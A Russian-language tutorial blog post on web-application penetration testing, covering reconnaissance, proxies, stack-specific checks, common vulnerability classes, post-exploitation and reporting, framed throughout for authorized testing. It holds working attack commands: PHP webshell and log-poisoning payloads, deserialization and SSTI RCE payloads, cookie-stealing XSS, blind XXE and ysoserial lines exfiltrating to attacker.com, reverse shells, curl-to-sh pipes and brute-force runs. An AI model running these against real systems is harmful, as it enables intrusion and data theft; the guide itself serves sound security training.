Пентест веба на пальцах: для новичков и слегка отбитых

в 8:16, , рубрики: web, информационная безопасность, новичкам, обучение

Дисклеймер. Материал носит образовательный характер и адресован специалистам по информационной безопасности, студентам профильных направлений, разработчикам и всем, кому интересно понимать, как устроена защита современных веб‑приложений. Гайд написан так, чтобы в нём разобрался человек любого уровня подготовки: от новичка, впервые открывшего Burp, до опытного инженера, который хочет освежить методологию и собрать всё в одном месте. Главная цель показать, где у веба бывают слабые места и как они устроены изнутри, чтобы эти места можно было вовремя закрыть.

Несанкционированный доступ к чужим информационным системам, распространение вредоносного ПО, нарушение работы сервисов и нарушение тайны переписки являются уголовно наказуемыми деяниями. Применяй полученные знания только на тех системах, где у тебя есть явное письменное разрешение на тестирование: собственные стенды, учебные лаборатории (HackTheBox, TryHackMe, PortSwigger Web Security Academy, Root Me), программы Bug Bounty с утверждённым скоупом, а также проекты, где ты работаешь по договору о проведении тестирования на проникновение.

Вступление

Ниже описан рабочий процесс пентеста веб-приложений по шагам, с инструментами и примерами команд для каждого этапа. Всё описанное применяется только на системах, где у тебя есть письменное разрешение на тестирование. Bug Bounty программы, лаборатории вроде HackTheBox и PortSwigger Web Security Academy, собственные стенды. Лезть к чужим системам без согласования это статья, независимо от того, насколько благие у тебя намерения.

Шаг 1. Разведка: узнаём, с чем работаем

Пассивная разведка

Цель даже не узнает, что её изучают. Стоит начать с простого. Погуглить компанию, посмотреть на их сайт, изучить, что они про себя пишут. Заглянуть в LinkedIn сотрудников, особенно разработчиков и devops инженеров, потому что они часто упоминают технологии в резюме. Это бесплатная карта технологического стека.

Дальше идут специализированные штуки. Через сервис crt.sh можно получить все сертификаты, выданные для домена, и там всплывают поддомены, о которых сама компания уже забыла (типа легаси). Архивы вроде Wayback Machine показывают, как сайт выглядел годы назад, и иногда старые версии раскрывают пути к API или забытые эндпоинты. Shodan и Censys позволяют искать серверы по отпечаткам технологий, версиям софта, сертификатам.

Примеры команд для поиска поддоменов:

# amass в пассивном режиме (без прямых запросов к цели)
amass enum -passive -d target.com -o amass_passive.txt

# subfinder, быстрый и с большим набором источников
subfinder -d target.com -all -silent -o subfinder.txt

# assetfinder, простой и быстрый
assetfinder --subs-only target.com > assetfinder.txt

# Получение поддоменов через crt.sh одной командой
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Объединение результатов всех инструментов
cat amass_passive.txt subfinder.txt assetfinder.txt | sort -u > all_subs.txt

# Поиск по архиву Wayback
waybackurls target.com > wayback_urls.txt
gau target.com >> wayback_urls.txt

# theHarvester для OSINT по компании
theHarvester -d target.com -b all -l 500

Активная разведка

Твой IP попадёт в их логи, поэтому делай это только в рамках согласованного скоупа.

Первое, что ты хочешь узнать это какие поддомены живые:

# httpx проверяет, какие хосты отвечают, и сразу собирает инфу
httpx -l all_subs.txt -sc -title -tech-detect -server -o live_hosts.txt

# Если нужна только проверка живости, без лишнего
cat all_subs.txt | httprobe -c 50 > live.txt

Дальше полезно прогнать nmap по найденным адресам. Не всегда весь трафик идёт через 80 и 443. Иногда панель администратора висит на 8080, staging окружение на 8443, а какой-нибудь забытый Jenkins на 50000.

# Быстрое сканирование всех портов через masscan
sudo masscan -p1-65535 target.com --rate=10000 -oL masscan_results.txt

# Детальное сканирование nmap с определением версий и скриптами
nmap -sV -sC -p- --min-rate=1000 -T4 target.com -oA nmap_full

# Сканирование только веб-портов с определением технологий
nmap -p 80,443,8080,8443,8000,8888 --script=http-enum,http-headers,http-title target.com

# Агрессивное сканирование, когда скоуп позволяет
nmap -A -p- -T4 target.com -oN aggressive_scan.txt

Когда у тебя есть список живых веб-хостов, нужно понять, что на них крутится:

# whatweb для определения стека технологий
whatweb -a 3 https://target.com

# Массовое определение технологий через httpx
httpx -l live.txt -tech-detect -status-code -title -server

# nuclei для поиска известных уязвимостей и мисконфигов
nuclei -l live.txt -severity medium,high,critical -o nuclei_findings.txt

Поиск скрытых путей

Современное веб-приложение это не только то, что видно на главной. Есть админки, API, служебные файлы, старые версии страниц. Всё это нужно найти.

# ffuf, быстрый фаззер директорий
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt 
     -u https://target.com/FUZZ -mc 200,204,301,302,307,401,403 -o ffuf_dirs.json

# Рекурсивное сканирование через feroxbuster
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt 
            -x php,asp,aspx,jsp,html,bak,txt,old -t 50

# gobuster, классика
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt 
         -x php,html,txt -t 40 -o gobuster_out.txt

# dirsearch со встроенным списком расширений
dirsearch -u https://target.com -e php,asp,aspx,jsp,html,js -t 40

# Поиск поддиректорий с конкретными расширениями (бэкапы, конфиги)
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt 
     -u https://target.com/FUZZ -e .bak,.old,.zip,.tar.gz,.sql,.env -mc 200

Не забывай про параметры GET и POST запросов. Скрытые параметры могут вести к скрытому функционалу.

bash
# Arjun ищет скрытые параметры
arjun -u https://target.com/api/endpoint -m GET -o arjun_out.txt
arjun -u https://target.com/api/endpoint -m POST --headers "Cookie: session=abc"

# ParamSpider собирает параметры из архивов
paramspider -d target.com -o params.txt

# x8, ещё один перебиратель параметров
x8 -u https://target.com/api -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

Файл robots.txt и sitemap.xml всегда стоит смотреть руками:

curl -s https://target.com/robots.txt
curl -s https://target.com/sitemap.xml
curl -s https://target.com/.well-known/security.txt

Файлы .git, .env, .DS_Store, резервные копии вида index.php.bak регулярно находятся на проде:

# Проверка открытого .git
curl -s https://target.com/.git/HEAD
# Если открыт, дампим репозиторий целиком
git-dumper https://target.com/.git/ ./dump

# Проверка других стандартных утечек
for f in .env .DS_Store .svn/entries web.config backup.sql dump.sql; do
    echo "Checking $f"
    curl -s -o /dev/null -w "%{http_code}n" https://target.com/$f
done

Шаг 2. Настраиваем рабочее окружение

Прежде чем копать уязвимости, тебе нужен прокси-перехватчик. Это твой главный инструмент, без него пентест невозможен. Стандарт это Burp Suite.

Для смешариков

Burp Suite Community Edition бесплатный и закрывает базовые потребности, Professional стоит денег и добавляет активный сканер, Intruder без ограничений, удобные расширения. Альтернатива это OWASP ZAP (бесплатный, опенсорс) и относительно новый Caido (современный интерфейс, быстро развивается).

Настрой браузер так, чтобы весь трафик шёл через прокси. Установи сертификат CA от прокси в доверенные, иначе HTTPS не будет работать.

# Запуск Burp из командной строки
java -jar -Xmx4g burpsuite_community.jar

# Или через официальный лаунчер
burpsuite

# Запуск OWASP ZAP в headless режиме для автоматизации
zap.sh -daemon -port 8080 -host 0.0.0.0

# Прогон baseline сканера ZAP
zap-baseline.py -t https://target.com -r report.html

Параллельно держи открытый терминал для запуска сканеров и блокнот, куда записываешь всё интересное: найденные эндпоинты, странные заголовки, подозрительные ответы. Потом эта заметка превратится в отчёт.

Шаг 3. Разбор технологий: что делать, когда видишь

Nginx

Когда видишь Nginx, первым делом проверяй конфигурационные баги. Самое известное это off-by-slash. Если в конфиге есть директива location /static { alias /var/www/static/; }, то запрос к /static../secret.txt может увести тебя вверх по файловой системе из-за отсутствия слеша в location.

# Проверка off-by-slash вручную
curl -s "https://target.com/static../nginx.conf"

# Фаззинг алиасов и путей
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt 
     -u "https://target.com/static..FUZZ" -mc 200

# Проверка nginx_status
curl -s https://target.com/nginx_status
curl -s https://target.com/status

Проверь заголовки ответа, версия Nginx может подсказать известные CVE:

curl -sI https://target.com | grep -i server
nmap -sV --script=http-nginx-module-detect -p 80,443 target.com

Отдельная история это когда Nginx работает реверс-прокси перед несколькими бэкендами. Тут живут уязвимости класса HTTP Request Smuggling.

# smuggler.py для детекта десинхронизации запросов
python3 smuggler.py -u https://target.com -q

# Массовая проверка списка URL
python3 smuggler.py -u https://target.com -m all

# В Burp Pro встроен сканер через HTTP Request Smuggler plugin

Apache

Apache имеет свою специфику. Файлы .htaccess могут быть неправильно защищены. Модуль mod_rewrite с кривыми правилами иногда создаёт дыры. Версии до 2.4.49 страдали от знаменитого Path Traversal (CVE-2021-41773).

# Проверка CVE-2021-41773 (Path Traversal в Apache 2.4.49)
curl --path-as-is -s "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"

# Проверка CVE-2021-42013 (развитие предыдущей)
curl --path-as-is -s "https://target.com/cgi-bin/.%%32%65/%%32%65%%32%65/etc/passwd"

# Поиск уязвимых версий через nuclei
nuclei -u https://target.com -t cves/2021/CVE-2021-41773.yaml

Смотри расширения файлов. Apache понимает множественные расширения, и файл shell.php.jpg может быть выполнен как PHP, если mod_mime настроен неправильно. При аплоаде файлов это открывает дорогу к RCE.

PHP

PHP это огромный мир уязвимостей. Если видишь расширение .php в URL или определил PHP по заголовкам, открывай набор специфических проверок.

Первое это Local File Inclusion. Если есть параметр вида ?page=about, и страница подтягивается через include, подставь ?page=../../../../etc/passwd и посмотри на реакцию.

# Базовая проверка LFI
curl -s "https://target.com/index.php?page=../../../../etc/passwd"

# Через PHP filter для чтения исходников в base64
curl -s "https://target.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | 
    grep -o 'PD9waH[A-Za-z0-9+/=]*' | base64 -d

# Автоматический фаззинг LFI
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt 
     -u "https://target.com/index.php?page=FUZZ" -mr "root:"

# LFISuite для автоматизации эксплуатации
python lfisuite.py -u "https://target.com/index.php?page=FILE"

Из LFI часто делают RCE. Если можешь контролировать содержимое какого-то файла на сервере (лог Apache, сессионный файл, временный файл), включай его через LFI и получаешь выполнение кода:

# Классика: log poisoning через User-Agent
curl -s "https://target.com/" -H 'User-Agent: <?php system($_GET["cmd"]); ?>'
curl -s "https://target.com/index.php?page=/var/log/apache2/access.log&cmd=id"

# RCE через session.upload_progress
python3 phpSessionLFIRCE.py -u https://target.com -lfi "/index.php?page="

Загрузка файлов это отдельный источник боли для разработчиков:

# Базовый тест загрузки PHP с обходом через двойное расширение
curl -X POST https://target.com/upload.php 
     -F "file=@shell.php.jpg" -F "submit=Upload"

# Проверка альтернативных расширений
for ext in phtml php3 php4 php5 php7 pht phar; do
    cp shell.php shell.$ext
    curl -X POST https://target.com/upload.php -F "file=@shell.$ext"
done

# Магические байты для обхода проверки типа
echo -e "xffxd8xffxe0<?php system($_GET['c']); ?>" > shell.php

Десериализация в PHP это высокая магия. Если приложение принимает сериализованные данные от пользователя через функцию unserialize, ты можешь построить цепочку гаджетов (POP-chain) и получить RCE.

# PHPGGC генерирует готовые цепочки под популярные фреймворки
phpggc Laravel/RCE9 system id
phpggc Symfony/RCE4 system id -b  # base64-encoded
phpggc -l  # список всех доступных цепочек

# Использование сгенерированного пейлоада
payload=$(phpggc Laravel/RCE9 system id -u)
curl "https://target.com/?data=$payload"

WordPress

Если видишь WordPress, первым делом запускай wpscan:

# Базовое сканирование
wpscan --url https://target.com --api-token YOUR_TOKEN

# Агрессивное, с перечислением всего
wpscan --url https://target.com --enumerate ap,at,cb,dbe,u,m --plugins-detection aggressive

# Брутфорс пользователей
wpscan --url https://target.com --passwords /usr/share/wordlists/rockyou.txt 
       --usernames admin,editor --max-threads 20

# Проверка утечек через wp-json
curl -s https://target.com/wp-json/wp/v2/users | jq
curl -s https://target.com/?rest_route=/wp/v2/users

Эндпоинт xmlrpc.php может использоваться для брутфорса паролей и амплификации DDoS:

# Проверка, активен ли xmlrpc
curl -X POST https://target.com/xmlrpc.php -d "<methodCall><methodName>system.listMethods</methodName></methodCall>"

Node.js и JavaScript фронтенды

С Node.js ты часто встречаешь JSON API и одностраничные приложения на React, Vue, Angular. Здесь фокус смещается. Анализируй JavaScript код прямо в браузере, он открыт для чтения.

# LinkFinder вытаскивает эндпоинты из JS-бандлов
python linkfinder.py -i https://target.com/main.js -o cli

# Массовый анализ всех JS на сайте
python linkfinder.py -i https://target.com -d -o results.html

# SecretFinder ищет секреты и ключи в JS
python SecretFinder.py -i https://target.com/static/main.js -o cli

# jsluice, современный анализатор JS
jsluice urls main.js
jsluice secrets main.js

# Поиск ключей AWS, токенов в скачанных JS
trufflehog filesystem ./downloaded_js/

Проверяй, не светятся ли в бандле секреты. Ключи AWS, токены API, URL внутренних сервисов часто залетают в прод случайно.

Java приложения и Spring

Java это уже корпоративный сегмент. Если видишь .jsp, .do, .action в URL, или заголовок сервера намекает на Tomcat, WebLogic, JBoss это Java.

# ysoserial для генерации пейлоадов десериализации
java -jar ysoserial.jar CommonsCollections5 "curl http://attacker.com/?$(whoami)" > payload.bin

# Список доступных гаджетов
java -jar ysoserial.jar --help

# Отправка пейлоада в уязвимый эндпоинт
curl -X POST https://target.com/api/endpoint 
     -H "Content-Type: application/octet-stream" 
     --data-binary @payload.bin

Spring Boot часто оставляет открытыми эндпоинты Actuator на /actuator:

# Проверка открытых Actuator эндпоинтов
for ep in env heapdump trace mappings beans configprops loggers threaddump gateway; do
    echo -n "$ep: "
    curl -s -o /dev/null -w "%{http_code}n" https://target.com/actuator/$ep
done

# Скачивание heapdump, там могут быть пароли в памяти
curl -o heap.bin https://target.com/actuator/heapdump
strings heap.bin | grep -iE "password|secret|token|api_key"

# CVE-2022-22947 (Spring Cloud Gateway RCE)
curl -X POST https://target.com/actuator/gateway/routes/hacktest 
     -H "Content-Type: application/json" 
     -d '{"id":"hacktest","filters":[{"name":"AddResponseHeader","args":{"name":"Result","value":"#{T(java.lang.Runtime).getRuntime().exec("id")}"}}]}'

Шаг 4. Основные уязвимости и как их искать

SQL Injection

Классика, которая живёт уже три десятилетия и не собирается умирать. Суть в том, что пользовательский ввод напрямую попадает в SQL-запрос, и ты можешь сломать синтаксис или подклеить свои команды.

Лучше начать с ручной проверки. Подставляй одинарную кавычку в параметры. Если приложение отдаёт 500 ошибку или странный ответ уже интересно.

# Сохраняем запрос из Burp в файл (в Burp: Copy to file)

# Базовый запуск sqlmap
sqlmap -r request.txt --batch --level=5 --risk=3

# Определение БД и версии
sqlmap -r request.txt --fingerprint --banner

# Дамп всех баз
sqlmap -r request.txt --dbs

# Дамп конкретной таблицы
sqlmap -r request.txt -D target_db -T users --dump

# Чтение файлов с сервера (если есть привилегии)
sqlmap -r request.txt --file-read=/etc/passwd

# Получение шелла (работает не всегда, но попытаться стоит)
sqlmap -r request.txt --os-shell
sqlmap -r request.txt --os-pwn

# Обход WAF через тамперы
sqlmap -r request.txt --tamper=space2comment,charencode,randomcase --random-agent

# Только определённый параметр
sqlmap -r request.txt -p username --technique=BEUSTQ

Для NoSQL баз есть свой инструмент:

# NoSQLMap для MongoDB и других NoSQL
python nosqlmap.py

# Ручная проверка MongoDB инъекций
curl -X POST https://target.com/login -H "Content-Type: application/json" 
     -d '{"username":{"$ne":null},"password":{"$ne":null}}'

XSS: Cross-Site Scripting

Reflected это когда твой ввод отражается в ответе без санитайзинга.

# dalfox, мощный сканер XSS
dalfox url https://target.com/search?q=test
dalfox url https://target.com/search?q=test --custom-payload xss.txt -o results.txt

# Массовое сканирование
cat urls.txt | dalfox pipe --blind https://xss.report/c/yourid

# Работа через Burp proxy
dalfox url https://target.com/search?q=test --proxy http://127.0.0.1:8080

# KNOXSS (коммерческий, но очень эффективный)
curl https://api.knoxss.pro -d "target=https://target.com/search?q=XSS" -H "X-API-KEY: your_key"

# XSStrike, ещё один сканер с умным анализом контекста
python xsstrike.py -u "https://target.com/search?q=test"
python xsstrike.py -u "https://target.com/page" --data "name=test&email=a@b.c" --crawl

Для blind XSS, когда пейлоад срабатывает где-то в админке:

# Классический пейлоад с XSS Hunter (свой инстанс)
<script src="https://your-xsshunter.com/abc"></script>

# Пейлоад для отправки кук на свой webhook
<img src=x onerror="fetch('https://webhook.site/your-id?c='+document.cookie)">

SSRF: Server-Side Request Forgery

SSRF это когда ты заставляешь сервер делать запросы от своего имени. Функционал предпросмотра ссылок, импорта URL, загрузки аватарки по ссылке, генерации PDF из HTML это всё кандидаты на SSRF.

# Получение уникального URL через interactsh
interactsh-client
# Получаешь URL вида abc123.oast.pro, подставляешь в параметр

# Проверка доступа к AWS metadata
curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# GCP metadata
curl "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/"

# Обходы фильтров через разные нотации IP
# Десятичная форма 127.0.0.1
curl "https://target.com/fetch?url=http://2130706433/"
# С нулями
curl "https://target.com/fetch?url=http://127.000.000.001/"
# Через DNS rebinding (сервисы вроде rbndr.us)
curl "https://target.com/fetch?url=http://7f000001.c0a80001.rbndr.us/"

# SSRFmap автоматизирует эксплуатацию
python ssrfmap.py -r request.txt -p url -m readfiles,portscan,aws,redis
python ssrfmap.py -r request.txt -p url -m portscan --lhost=127.0.0.1 --lport=80-10000

# Gopherus генерирует gopher:// пейлоады для атак на внутренние сервисы
python gopherus.py --exploit redis
python gopherus.py --exploit mysql

Path Traversal

Path Traversal это выход за пределы разрешённой директории.

# Классический фаззинг через ffuf
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt 
     -u "https://target.com/download?file=FUZZ" -mr "root:"

# wfuzz, альтернатива
wfuzz -c -z file,/usr/share/wordlists/lfi.txt 
      --hh 4242 "https://target.com/download?file=FUZZ"

# dotdotpwn для автоматизации
dotdotpwn.pl -m http -h target.com -M GET -o unix -d 8 -f /etc/passwd -k "root:"

IDOR: Insecure Direct Object References

IDOR это когда приложение даёт тебе доступ к объекту по идентификатору, но не проверяет, что объект действительно твой. Меняешь id=123 на id=124 и видишь чужие данные.

# Перебор идентификаторов через ffuf
ffuf -w numbers.txt -u "https://target.com/api/users/FUZZ" 
     -H "Cookie: session=YOUR_SESSION" -fc 403,404

# Создание списка числовых ID
seq 1 10000 > numbers.txt

# Сравнение длины ответов для выявления аномалий
ffuf -w numbers.txt -u "https://target.com/api/orders/FUZZ" 
     -H "Cookie: session=USER1_SESSION" -o idor_results.json -of json

# autorize (расширение для Burp) делает это автоматически
# Настраиваешь две сессии, оно показывает, что доступно кому не должно быть

CSRF: Cross-Site Request Forgery

CSRF это когда ты заставляешь браузер жертвы сделать запрос к приложению, где она авторизована, без её ведома.

# Генерация PoC через Burp: Engagement tools -> Generate CSRF PoC

# Ручной пример HTML для теста
cat > csrf_poc.html <<EOF
<html><body>
<form action="https://target.com/account/email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="submit">
</form>
<script>document.forms[0].submit();</script>
</body></html>
EOF

Проверяй, что токен реально валидируется. Убери параметр csrf_token из запроса и отправь. Замени значение токена на пустое. Подставь токен от другого пользователя. Если хоть один вариант прошёл, защита сломана.

XXE: XML External Entity

Когда приложение парсит XML от пользователя (SOAP API, SAML, парсинг документов, SVG), проверяй XXE.

# Базовый пейлоад чтения файла
cat > xxe_payload.xml <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
EOF

curl -X POST https://target.com/api/xml 
     -H "Content-Type: application/xml" --data @xxe_payload.xml

# Blind XXE через внешний DTD
cat > evil.dtd <<EOF
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
EOF

# Запускаем HTTP сервер с этим DTD
python3 -m http.server 8000

# Отправляем пейлоад, который загружает наш DTD
cat > blind_xxe.xml <<EOF
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com:8000/evil.dtd"> %xxe;]>
<foo>bar</foo>
EOF

SSTI: Server-Side Template Injection

Когда приложение рендерит пользовательский ввод через шаблонизатор, это SSTI.

# tplmap автоматизирует детект и эксплуатацию
python tplmap.py -u "https://target.com/page?name=john"
python tplmap.py -u "https://target.com/page" -d "name=john" --os-shell

# Ручные проверки по движкам
# Jinja2 (Python)
curl "https://target.com/?name={{7*7}}"
curl "https://target.com/?name={{config}}"
curl "https://target.com/?name={{''.__class__.__mro__[1].__subclasses__()}}"

# Twig (PHP)
curl "https://target.com/?name={{7*7}}"
curl "https://target.com/?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"

# Freemarker (Java)
curl "https://target.com/?name=<#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}"

Аутентификация и сессии

JWT (JSON Web Token) - это компактный токен в формате строки, которым сервер подтверждает личность пользователя и передаёт о нём данные, защищая всё это подписью от подделки. JWT с алгоритмом none или слабым секретом это частая находка:

# jwt_tool, комбайн для атак на JWT
python3 jwt_tool.py <JWT> -T                                 # тамперинг токена
python3 jwt_tool.py <JWT> -X a                               # атака через alg=none
python3 jwt_tool.py <JWT> -X k                               # kid injection
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt  # брутфорс секрета
python3 jwt_tool.py <JWT> -X s -pk attacker_pub.pem          # JWK injection

# Брутфорс секрета через hashcat
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

Брутфорс форм логина:

# hydra для классических форм
hydra -L users.txt -P passwords.txt target.com https-post-form 
      "/login:username=^USER^&password=^PASS^:Invalid credentials"

# ffuf для произвольных API
ffuf -w passwords.txt -u https://target.com/api/login -X POST 
     -H "Content-Type: application/json" 
     -d '{"username":"admin","password":"FUZZ"}' 
     -mr "success"

Race Conditions

Состояние гонки это когда ты делаешь две операции одновременно, и проверка, которая должна защищать одну из них, не успевает сработать.

# Turbo Intruder (расширение Burp) главный инструмент для гонок
# В Burp: правой кнопкой на запрос -> Extensions -> Turbo Intruder -> Send to...
# Использует race-single-packet-attack.py для синхронизации

# race-the-web, отдельная утилита
race-the-web config.yml

# Ручной тест через xargs и curl
seq 1 30 | xargs -P 30 -I {} curl -s -X POST https://target.com/redeem 
    -H "Cookie: session=abc" -d "coupon=SAVE50"

Бизнес-логика

Это самая творческая часть пентеста. Сканер сюда не полезет, потому что это не технический баг, а ошибка в понимании, как должно работать приложение. Можно ли оформить отрицательный возврат и получить деньги? Примет ли корзина отрицательное количество товара? Можно ли применить скидочный купон дважды?

Эти баги находятся внимательным изучением функционала и тщательной проверкой того, что граничные значения обрабатываются корректно. Автоматики нет, есть только Burp Repeater и смекалка.

Шаг 5. После того, как нашёл вход

Найти уязвимость это половина дела. Показать impact вторая половина.

Если получил RCE, не спеши бросать reverse shell. Сначала подумай про скоуп.

# На атакере слушаем входящее соединение
nc -lvnp 4444

# На цели разные варианты реверс-шелла
bash -i >& /dev/tcp/attacker.com/4444 0>&1
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.com",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
php -r '$s=fsockopen("attacker.com",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Стабилизация шелла после подключения
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Нажать Ctrl+Z, на атакере: stty raw -echo; fg; reset
export TERM=xterm

Разведка привилегий и векторов эскалации:

# linpeas на Linux
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# linux-smart-enumeration, альтернатива
./lse.sh -l 2

# Быстрые ручные проверки
id && whoami
sudo -l
find / -perm -u=s -type f 2>/dev/null  # SUID бинари
getcap -r / 2>/dev/null                 # capabilities
cat /etc/crontab
ls -la /etc/cron.d/

Шаг 6. Отчёт

Отчёт это продукт пентеста. Клиент платит не за найденные баги, а за то, чтобы их починили, и отчёт главный инструмент для этого.

Хороший отчёт начинается с executive summary на одну страницу для менеджмента. Там простым языком описано, что вы проверили, что нашли, насколько всё плохо, что делать дальше. Без технических деталей, но с ясным месседжем.

Дальше идёт техническая часть. Каждая уязвимость оформляется по шаблону. Название и категория. Описание сути простым языком. Шаги воспроизведения, настолько детальные, чтобы разработчик смог повторить. Скриншоты запросов и ответов. Оценка серьёзности по CVSS или внутренней шкале. Рекомендации по исправлению, конкретные, не "валидируйте ввод", а "используйте параметризованные запросы через PDO".

# CVSS калькулятор в консоли
pip install cvsslib
cvsscalc "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"

# Генерация отчётов через sysreptor, open-source платформа
bash <(curl -s https://docs.sysreptor.com/install.sh) # Дальше по мануалу
# Дальше через веб-интерфейс

# Faraday для совместной работы команды и агрегации находок
faraday-server
faraday-client

Завершается отчёт общими рекомендациями по улучшению процессов безопасности и повторным тестированием после исправлений.

Напоследок

Если коротко: веб-пентест это разведка плюс терпение плюс системный подход. Инструменты из этого гайда покрывают процентов восемьдесят повседневных задач, остальное добирается опытом и насмотренностью. Чем больше реальных приложений ты проанализируешь на легальных стендах и Bug Bounty программах, тем быстрее научишься замечать паттерны уязвимостей с первого взгляда.

Не нужно гнаться за громкими CVE, не стоит пропускать скучные проверки вроде IDOR и логических багов, стоит вести заметки и писать понятные отчёты. Это нудные привычки, но именно они отличают хорошего специалиста от того, кто просто умеет запускать sqlmap. Удачи в исследованиях и помни, главное правило одно: ломай только то, на что у тебя есть разрешение.

Автор: RedBlue_Notes

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js